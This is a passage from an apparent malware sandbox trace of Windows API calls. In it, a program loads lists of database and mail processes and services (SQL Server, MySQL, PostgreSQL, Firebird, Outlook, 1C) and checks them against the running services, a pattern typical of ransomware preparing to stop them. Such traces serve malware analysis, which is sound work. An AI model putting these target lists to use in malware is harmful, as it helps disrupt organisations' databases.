Flags=0x0, Size=0x10) returned 0x638710 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e960 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x638638 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e1b0 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x638668 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x634758 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x636e50 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x638680 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62df00 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6308 | out: hHeap=0x5c0000) returned 1 [0182.084] lstrlenW (lpString="%systemdrive%") returned 13 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633760 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b588 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e940 | out: hHeap=0x5c0000) returned 1 [0182.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2c) returned 0x62df00 [0182.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2000) returned 0x638a48 [0182.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x63ffe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0182.085] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5f7d50*=0x134, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 397 os_tid = 0x680 Thread: id = 399 os_tid = 0x678 [0182.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5fa168 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa168, Size=0x20) returned 0x5d4498 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4498, Size=0x40) returned 0x5f6ba8 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6ba8, Size=0x80) returned 0x63b588 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x63e978 [0182.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5fa168 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa168, Size=0x20) returned 0x5d4498 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4498, Size=0x40) returned 0x5f6ba8 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6ba8, Size=0x80) returned 0x63b588 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x63ea80 [0182.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5fa168 [0182.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x63e5b0 [0182.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5fa180 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e5b0, Size=0x8) returned 0x63e5c0 [0182.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f6028 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e5c0, Size=0x10) returned 0x5fa198 [0182.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5f6048 [0182.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5d4498 [0182.014] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa198, Size=0x20) returned 0x5d44c0 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x5d4470 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16) returned 0x5f6068 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5f5a08 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5fa198 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x63e5c0 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5f6ba8 [0182.015] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e5c0, Size=0x8) returned 0x63e5b0 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3c) returned 0x5f6bf0 [0182.015] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e5b0, Size=0x10) returned 0x5fa1b0 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f6088 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5f60a8 [0182.015] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa1b0, Size=0x20) returned 0x5f5a58 [0182.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5f7fc0 [0182.015] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0182.015] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e978 | out: hHeap=0x5c0000) returned 1 [0182.015] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0182.015] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63ea80 | out: hHeap=0x5c0000) returned 1 [0182.015] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5f5aa8 [0182.015] EnumServicesStatusExW (in: hSCManager=0x5f5aa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0182.016] GetLastError () returned 0xea [0182.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x61b578 [0182.016] EnumServicesStatusExW (in: hSCManager=0x5f5aa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61b578, cbBufSize=0x11e4, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61b578, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0182.017] CloseServiceHandle (hSCObject=0x5f5aa8) returned 1 [0182.017] lstrlenW (lpString="Appinfo") returned 7 [0182.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0182.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0182.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0182.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0182.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0182.017] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0182.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.017] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0182.017] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0182.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0182.017] lstrlenW (lpString="AudioSrv") returned 8 [0182.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0182.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0182.017] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0182.017] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0182.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0182.017] lstrlenW (lpString="BFE") returned 3 [0182.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0182.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0182.017] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0182.017] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0182.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0182.017] lstrlenW (lpString="CryptSvc") returned 8 [0182.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0182.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0182.017] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0182.017] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0182.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0182.017] lstrlenW (lpString="CscService") returned 10 [0182.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0182.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0182.018] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0182.018] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0182.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0182.018] lstrlenW (lpString="DcomLaunch") returned 10 [0182.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.018] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0182.018] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0182.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0182.018] lstrlenW (lpString="Dhcp") returned 4 [0182.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0182.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0182.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0182.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0182.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0182.018] lstrlenW (lpString="Dnscache") returned 8 [0182.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0182.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0182.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0182.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0182.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0182.018] lstrlenW (lpString="DPS") returned 3 [0182.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0182.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0182.018] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0182.018] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0182.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0182.018] lstrlenW (lpString="eventlog") returned 8 [0182.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0182.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0182.018] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0182.018] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0182.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0182.018] lstrlenW (lpString="EventSystem") returned 11 [0182.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0182.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0182.018] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0182.019] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0182.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0182.019] lstrlenW (lpString="gpsvc") returned 5 [0182.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0182.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0182.019] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0182.019] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0182.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0182.019] lstrlenW (lpString="iphlpsvc") returned 8 [0182.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.019] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0182.019] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0182.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0182.019] lstrlenW (lpString="LanmanServer") returned 12 [0182.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0182.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0182.019] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0182.019] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0182.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0182.019] lstrlenW (lpString="LanmanWorkstation") returned 17 [0182.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.019] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0182.019] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0182.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0182.019] lstrlenW (lpString="lmhosts") returned 7 [0182.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0182.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0182.019] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0182.019] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0182.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0182.019] lstrlenW (lpString="MMCSS") returned 5 [0182.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0182.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0182.019] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0182.019] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0182.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0182.020] lstrlenW (lpString="MpsSvc") returned 6 [0182.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0182.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0182.020] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0182.020] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0182.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0182.020] lstrlenW (lpString="Netman") returned 6 [0182.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0182.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0182.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0182.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0182.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0182.020] lstrlenW (lpString="netprofm") returned 8 [0182.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0182.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0182.020] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0182.020] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0182.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0182.020] lstrlenW (lpString="NlaSvc") returned 6 [0182.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0182.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0182.020] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0182.020] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0182.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0182.020] lstrlenW (lpString="nsi") returned 3 [0182.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0182.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0182.020] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0182.020] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0182.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0182.020] lstrlenW (lpString="PcaSvc") returned 6 [0182.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0182.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0182.020] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0182.020] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0182.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0182.021] lstrlenW (lpString="PlugPlay") returned 8 [0182.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0182.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0182.021] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0182.021] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0182.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0182.021] lstrlenW (lpString="Power") returned 5 [0182.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0182.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0182.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0182.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0182.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0182.021] lstrlenW (lpString="ProfSvc") returned 7 [0182.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0182.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0182.021] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0182.021] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0182.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0182.021] lstrlenW (lpString="RpcEptMapper") returned 12 [0182.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.021] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0182.021] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0182.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0182.021] lstrlenW (lpString="RpcSs") returned 5 [0182.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0182.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0182.021] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0182.021] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0182.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0182.021] lstrlenW (lpString="SamSs") returned 5 [0182.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0182.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0182.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0182.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0182.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0182.022] lstrlenW (lpString="Schedule") returned 8 [0182.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0182.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0182.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0182.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0182.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0182.022] lstrlenW (lpString="SENS") returned 4 [0182.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0182.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0182.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0182.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0182.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0182.022] lstrlenW (lpString="ShellHWDetection") returned 16 [0182.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.022] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0182.022] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0182.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0182.022] lstrlenW (lpString="Spooler") returned 7 [0182.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0182.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0182.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0182.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0182.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0182.022] lstrlenW (lpString="SysMain") returned 7 [0182.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0182.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0182.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0182.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0182.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0182.022] lstrlenW (lpString="Themes") returned 6 [0182.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0182.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0182.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0182.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0182.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0182.022] lstrlenW (lpString="TrkWks") returned 6 [0182.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0182.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0182.023] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0182.023] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0182.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0182.023] lstrlenW (lpString="UxSms") returned 5 [0182.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0182.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0182.023] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0182.023] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0182.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0182.023] lstrlenW (lpString="WdiServiceHost") returned 14 [0182.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0182.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0182.023] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0182.023] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0182.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0182.023] lstrlenW (lpString="WdiSystemHost") returned 13 [0182.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0182.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0182.023] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0182.023] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0182.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0182.023] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0182.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0182.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0182.023] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0182.023] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 